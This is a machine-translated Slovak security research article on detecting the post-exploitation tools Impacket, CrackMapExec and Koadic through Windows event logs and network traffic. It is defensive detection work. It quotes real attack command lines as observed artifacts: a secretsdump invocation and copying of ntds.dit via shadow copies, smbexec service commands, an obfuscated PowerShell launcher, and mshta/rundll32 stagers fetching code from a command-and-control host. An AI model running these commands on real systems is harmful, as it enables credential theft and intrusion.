Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov

Počet útokov vo firemnom sektore každým rokom rastie: napr v roku 2017 bolo zaznamenaných o 13 % viac jedinečných incidentov ako v roku 2016 a na konci roka 2018 - O 27 % viac incidentovako v predchádzajúcom období. Vrátane tých, kde je hlavným pracovným nástrojom operačný systém Windows. V rokoch 2017 – 2018, APT Dragonfly, APT28, APT MuddyWater vykonal útoky na vládne a vojenské organizácie v Európe, Severnej Amerike a Saudskej Arábii. A na to sme použili tri nástroje - Imppacket, CrackMapExec и Koadic. Ich zdrojový kód je otvorený a dostupný na GitHub.

Stojí za zmienku, že tieto nástroje neslúžia na prvotný prienik, ale na vývoj útoku v rámci infraštruktúry. Útočníci ich používajú v rôznych fázach útoku po preniknutí perimetra. To je mimochodom ťažké odhaliť a často len s pomocou techniky identifikovanie stôp kompromisu v sieťovej prevádzke alebo nástroje, ktoré umožňujú detekovať aktívne akcie útočníka po preniknutí do infraštruktúry. Nástroje poskytujú rôzne funkcie, od prenosu súborov až po interakciu s registrom a vykonávanie príkazov na vzdialenom počítači. Vykonali sme štúdiu týchto nástrojov, aby sme určili ich sieťovú aktivitu.

Čo sme museli urobiť:

  • Pochopte, ako fungujú hackerské nástroje. Zistite, čo musia útočníci zneužiť a aké technológie môžu použiť.
  • Nájdite to, čo nie je detekované nástrojmi informačnej bezpečnosti v prvých fázach útoku. Fáza prieskumu môže byť preskočená, buď preto, že útočník je interným útočníkom, alebo preto, že útočník využíva dieru v infraštruktúre, ktorá predtým nebola známa. Je možné obnoviť celý reťazec jeho akcií, a teda túžbu odhaliť ďalší pohyb.
  • Eliminujte falošné poplachy z nástrojov na detekciu narušenia. Nesmieme zabúdať, že pri zistení určitých akcií len na základe prieskumu sú možné časté chyby. Zvyčajne v infraštruktúre existuje dostatočné množstvo spôsobov, na prvý pohľad nerozoznateľných od legitímnych, na získanie akýchkoľvek informácií.

Čo tieto nástroje poskytujú útočníkom? Ak ide o Impacket, útočníci dostanú veľkú knižnicu modulov, ktoré môžu byť použité v rôznych fázach útoku, ktoré nasledujú po prelomení perimetra. Mnoho nástrojov interne používa moduly Impacket – napríklad Metasploit. Má dcomexec a wmiexec na spustenie príkazov na diaľku, secretsdump na získanie účtov z pamäte, ktoré sú pridané z Impacket. V dôsledku toho správna detekcia aktivity takejto knižnice zabezpečí detekciu derivátov.

Nie je náhoda, že tvorcovia napísali „Powered by Impacket“ o CrackMapExec (alebo jednoducho CME). Okrem toho má CME pripravenú funkcionalitu pre obľúbené scenáre: Mimikatz na získanie hesiel alebo ich hash, implementáciu agenta Meterpreter alebo Empire na vzdialené vykonávanie a Bloodhound na palube.

Tretím nástrojom, ktorý sme si vybrali, bol Koadic. Je pomerne nedávny, bol predstavený na medzinárodnej hackerskej konferencii DEFCON 25 v roku 2017 a vyznačuje sa neštandardným prístupom: funguje cez HTTP, Java Script a Microsoft Visual Basic Script (VBS). Tento prístup sa nazýva život z krajiny: nástroj využíva súbor závislostí a knižníc zabudovaných do systému Windows. Tvorcovia to nazývajú COM Command & Control, alebo C3.

IMPACKET

Funkcionalita impacketu je veľmi široká, siaha od prieskumu vnútri AD a zhromažďovania údajov z interných serverov MS SQL až po techniky získavania poverení: toto je útok typu SMB relay a získavanie súboru ntds.dit obsahujúceho hash používateľských hesiel z radiča domény. Impacket tiež vykonáva príkazy na diaľku pomocou štyroch rôznych metód: WMI, Windows Scheduler Management Service, DCOM a SMB a vyžaduje na to poverenia.

Výsypka tajomstiev

Poďme sa pozrieť na secretsdump. Toto je modul, ktorý sa môže zamerať na používateľské počítače aj radiče domény. Dá sa použiť na získanie kópií pamäťových oblastí LSA, SAM, SECURITY, NTDS.dit, takže ho možno vidieť v rôznych fázach útoku. Prvým krokom v činnosti modulu je autentifikácia cez SMB, ktorá vyžaduje buď heslo používateľa alebo jeho hash, aby sa automaticky vykonal útok Pass the Hash. Nasleduje požiadavka na otvorenie prístupu k Service Control Manager (SCM) a získanie prístupu do registra cez protokol winreg, pomocou ktorého môže útočník zistiť údaje záujmových odvetví a získať výsledky prostredníctvom SMB.

Na obr. 1 vidíme, ako presne sa pri použití protokolu winreg získava prístup pomocou kľúča databázy Registry s LSA. Na tento účel použite príkaz DCERPC s operačným kódom 15 - OpenKey.

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 1. Otvorenie kľúča databázy Registry pomocou protokolu winreg

Potom, keď sa získa prístup ku kľúču, hodnoty sa uložia pomocou príkazu SaveKey s operačným kódom 20. Impacket to robí veľmi špecifickým spôsobom. Uloží hodnoty do súboru, ktorého názov je reťazec 8 náhodných znakov s príponou .tmp. K ďalšiemu nahrávaniu tohto súboru navyše dochádza cez SMB z adresára System32 (obr. 2).

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 2. Schéma na získanie kľúča databázy Registry zo vzdialeného počítača

Ukazuje sa, že takúto aktivitu v sieti je možné zistiť pomocou dotazov na určité vetvy registra pomocou protokolu winreg, konkrétne mená, príkazy a ich poradie.

Tento modul tiež zanecháva stopy v denníku udalostí systému Windows, čo uľahčuje jeho zistenie. Napríklad v dôsledku vykonania príkazu

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

V denníku Windows Server 2016 uvidíme nasledujúcu kľúčovú sekvenciu udalostí:

1. 4624 - vzdialené prihlásenie.
2. 5145 - kontrola prístupových práv k vzdialenej službe winreg.
3. 5145 - kontrola prístupových práv k súborom v adresári System32. Súbor má náhodný názov uvedený vyššie.
4. 4688 - vytvorenie procesu cmd.exe, ktorý spustí vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - vytvorenie procesu s príkazom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - vytvorenie procesu s príkazom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - vytvorenie procesu s príkazom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Rovnako ako mnoho nástrojov po exploatácii má Impacket moduly na vzdialené vykonávanie príkazov. Zameriame sa na smbexec, ktorý poskytuje interaktívny príkazový shell na vzdialenom počítači. Tento modul vyžaduje aj autentifikáciu cez SMB, buď heslom alebo hashom hesla. Na obr. Na obrázku 3 vidíme príklad fungovania takéhoto nástroja, v tomto prípade ide o lokálnu administrátorskú konzolu.

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 3. Interaktívna konzola smbexec

Prvým krokom smbexec po autentifikácii je otvorenie SCM pomocou príkazu OpenSCManagerW (15). Dotaz je pozoruhodný: pole MachineName je DUMMY.

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 4. Požiadajte o otvorenie správcu riadenia služieb

Ďalej je služba vytvorená pomocou príkazu CreateServiceW (12). V prípade smbexecu môžeme vidieť zakaždým rovnakú logiku konštrukcie príkazov. Na obr. 5 zelená označuje nemenné parametre príkazu, žltá označuje, čo môže útočník zmeniť. Je ľahké vidieť, že názov spustiteľného súboru, jeho adresár a výstupný súbor je možné zmeniť, ale zvyšok je oveľa ťažšie zmeniť bez narušenia logiky modulu Impaket.

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 5. Požiadajte o vytvorenie služby pomocou správcu riadenia služieb

Smbexec tiež zanecháva zjavné stopy v denníku udalostí systému Windows. V protokole Windows Server 2016 pre interaktívny príkazový shell s príkazom ipconfig uvidíme nasledujúcu postupnosť kľúčov udalostí:

1. 4697 – inštalácia služby na počítači obete:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - vytvorenie procesu cmd.exe s argumentmi z bodu 1.
3. 5145 - kontrola prístupových práv k súboru __output v adresári C$.
4. 4697 – inštalácia služby na počítači obete.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - vytvorenie procesu cmd.exe s argumentmi z bodu 4.
6. 5145 - kontrola prístupových práv k súboru __output v adresári C$.

Impacket je základom pre vývoj útočných nástrojov. Podporuje takmer všetky protokoly v infraštruktúre Windows a zároveň má svoje charakteristické vlastnosti. Tu sú konkrétne požiadavky winreg a použitie rozhrania SCM API s charakteristickou tvorbou príkazov a formátom názvu súboru a zdieľaním SMB SYSTEM32.

CRACKMAPEXEC

Nástroj CME je určený predovšetkým na automatizáciu tých rutinných akcií, ktoré musí útočník vykonať, aby postúpil v rámci siete. Umožňuje vám pracovať v spojení so známym agentom Empire a Meterpreterom. Ak chcete vykonať príkazy skryto, CME ich môže zahmlievať. Pomocou Bloodhound (samostatný prieskumný nástroj) môže útočník automatizovať vyhľadávanie aktívnej relácie správcu domény.

policajný pes

Bloodhound ako samostatný nástroj umožňuje pokročilý prieskum v rámci siete. Zhromažďuje údaje o používateľoch, počítačoch, skupinách, reláciách a dodáva sa ako skript PowerShell alebo binárny súbor. Na zhromažďovanie informácií sa používajú protokoly LDAP alebo SMB. Integračný modul CME umožňuje stiahnuť Bloodhound do stroja obete, spustiť a prijať zhromaždené údaje po vykonaní, čím automatizuje akcie v systéme a robí ich menej viditeľnými. Grafický shell Bloodhound prezentuje zozbierané údaje vo forme grafov, čo vám umožňuje nájsť najkratšiu cestu od stroja útočníka k správcovi domény.

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 6. Rozhranie Bloodhound

Na spustenie na počítači obete modul vytvorí úlohu pomocou ATSVC a SMB. ATSVC je rozhranie na prácu s Plánovačom úloh systému Windows. CME používa svoju funkciu NetrJobAdd(1) na vytváranie úloh cez sieť. Príklad toho, čo modul CME posiela, je na obr. 7: Toto je volanie príkazu cmd.exe a zahmlený kód vo forme argumentov vo formáte XML.

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Obr.7. Vytvorenie úlohy cez CME

Po odoslaní úlohy na vykonanie stroj obete spustí samotný Bloodhound, čo je vidieť na premávke. Modul sa vyznačuje LDAP dotazmi na získanie štandardných skupín, zoznamu všetkých strojov a používateľov v doméne a získanie informácií o aktívnych používateľských reláciách prostredníctvom požiadavky SRVSVC NetSessEnum.

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 8. Získanie zoznamu aktívnych relácií cez SMB

Okrem toho je spustenie Bloodhounda na počítači obete so zapnutým auditom sprevádzané udalosťou s ID 4688 (vytvorenie procesu) a názvom procesu «C:WindowsSystem32cmd.exe». Čo je na tom pozoruhodné, sú argumenty príkazového riadku:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Modul enum_avproducts je veľmi zaujímavý z hľadiska funkčnosti a implementácie. WMI vám umožňuje používať dotazovací jazyk WQL na získavanie údajov z rôznych objektov Windows, čo v podstate používa tento modul CME. Generuje dopyty do tried AntiSpywareProduct a AntiМirusProduct o ochranných nástrojoch nainštalovaných na počítači obete. Za účelom získania potrebných údajov sa modul pripojí k mennému priestoru rootSecurityCenter2, potom vygeneruje dotaz WQL a dostane odpoveď. Na obr. Obrázok 9 zobrazuje obsah takýchto žiadostí a odpovedí. V našom príklade bol nájdený program Windows Defender.

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 9. Sieťová aktivita modulu enum_avproducts

Často môže byť vypnutý audit WMI (Trace WMI-Activity), v udalostiach ktorého môžete nájsť užitočné informácie o dotazoch WQL. Ale ak je povolená, potom ak sa spustí skript enum_avproducts, uloží sa udalosť s ID 11. Bude obsahovať meno používateľa, ktorý odoslal požiadavku a meno v mennom priestore rootSecurityCenter2.

Každý z modulov CME mal svoje vlastné artefakty, či už išlo o špecifické WQL dotazy alebo vytvorenie určitého typu úloh v plánovači úloh so zahmlievaním a aktivitou špecifickou pre Bloodhound v LDAP a SMB.

KOADIC

Charakteristickým rysom Koadic je použitie interpretov JavaScript a VBScript zabudovaných do systému Windows. V tomto zmysle sleduje trend žitia z pôdy – to znamená, že nemá žiadne externé závislosti a používa štandardné nástroje Windows. Toto je nástroj na úplné riadenie a riadenie (CnC), pretože po infekcii je na stroji nainštalovaný „implantát“, ktorý umožňuje jeho ovládanie. Takýto stroj sa v terminológii Koadic nazýva „zombie“. Ak na strane obete nie sú dostatočné privilégiá na plnú prevádzku, Koadic ich môže zvýšiť pomocou techník obídenia kontroly používateľských účtov (UAC bypass).

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 10. Koadic Shell

Obeť musí začať komunikáciu so serverom Command & Control. Aby to urobila, musí sa spojiť s vopred pripraveným URI a prijať hlavné telo Koadic pomocou jedného zo stagerov. Na obr. Obrázok 11 zobrazuje príklad pre mshta stager.

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 11. Inicializácia relácie so serverom CnC

Na základe premennej odozvy WS je zrejmé, že spustenie prebieha cez WScript.Shell a premenné STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE obsahujú kľúčové informácie o parametroch aktuálnej relácie. Toto je prvý pár požiadavka-odpoveď v HTTP spojení so serverom CnC. Následné požiadavky priamo súvisia s funkcionalitou volaných modulov (implantátov). Všetky moduly Koadic fungujú iba s aktívnou reláciou s CnC.

Mimikatz

Rovnako ako CME spolupracuje s Bloodhoundom, Koadic pracuje s Mimikatz ako samostatný program a má viacero spôsobov, ako ho spustiť. Nižšie je uvedený pár žiadosť – odpoveď na stiahnutie implantátu Mimikatz.

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 12. Preneste Mimikatz do Koadic

Môžete vidieť, ako sa zmenil formát URI v požiadavke. Teraz obsahuje hodnotu pre premennú csrf, ktorá je zodpovedná za vybraný modul. Nevšímajte si jej meno; Všetci vieme, že CSRF sa zvyčajne chápe inak. Odpoveďou bolo rovnaké hlavné telo Koadic, ku ktorému bol pridaný kód súvisiaci s Mimikatz. Je pomerne veľký, takže sa pozrime na kľúčové body. Tu máme knižnicu Mimikatz zakódovanú v base64, serializovanú triedu .NET, ktorá ju vloží, a argumenty na spustenie Mimikatz. Výsledok vykonania sa prenáša cez sieť ako čistý text.

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 13. Výsledok spustenia Mimikatz na vzdialenom počítači

Exec_cmd

Koadic má tiež moduly, ktoré môžu vykonávať príkazy na diaľku. Tu uvidíme rovnakú metódu generovania URI a známe premenné sid a csrf. V prípade modulu exec_cmd sa do tela pridá kód, ktorý je schopný vykonávať príkazy shellu. Nižšie je uvedený kód obsiahnutý v odpovedi HTTP servera CnC.

Ako zistiť útoky na infraštruktúru Windows: štúdium hackerských nástrojov
Ryža. 14. Kód implantátu exec_cmd

Na spustenie kódu je potrebná premenná GAWTUUGCFI so známym atribútom WS. S jeho pomocou implantát zavolá shell, pričom spracuje dve vetvy kódu – shell.exec s návratom výstupného dátového toku a shell.run bez návratu.

Koadic nie je typický nástroj, ale má svoje vlastné artefakty, pomocou ktorých ho možno nájsť v legitímnej návštevnosti:

  • špeciálne vytváranie požiadaviek HTTP,
  • pomocou winHttpRequests API,
  • vytvorenie objektu WScript.Shell cez ActiveXObject,
  • veľké spustiteľné telo.

Počiatočné pripojenie iniciuje stager, takže je možné zistiť jeho aktivitu prostredníctvom udalostí Windows. Pre mshta je to udalosť 4688, ktorá označuje vytvorenie procesu s atribútom štart:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Kým Koadic beží, môžete vidieť ďalších 4688 udalostí s atribútmi, ktoré ho dokonale charakterizujú:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Závery

Trend živorenia z pôdy si medzi zločincami získava na popularite. Pre svoje potreby využívajú nástroje a mechanizmy zabudované v systéme Windows. V správach APT sa čoraz častejšie objavujú populárne nástroje Koadic, CrackMapExec a Impacket podľa tohto princípu. Narastá aj počet vidličiek na GitHub pre tieto nástroje a objavujú sa nové (už je ich okolo tisíc). Tento trend si získava na popularite vďaka svojej jednoduchosti: útočníci nepotrebujú nástroje tretích strán, sú už na strojoch obetí a pomáhajú im obísť bezpečnostné opatrenia. Zameriavame sa na štúdium sieťovej komunikácie: každý vyššie popísaný nástroj zanecháva svoje vlastné stopy v sieťovej prevádzke; ich podrobné štúdium nám umožnilo naučiť náš produkt PT Network Attack Discovery odhaliť ich, čo v konečnom dôsledku pomáha vyšetrovať celý reťazec kybernetických incidentov, ktoré sa ich týkajú.

Autori:

  • Anton Tyurin, vedúci oddelenia expertných služieb, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, expert, PT Expertné bezpečnostné centrum, Positive Technologies

Zdroj: hab.com

Pridať komentár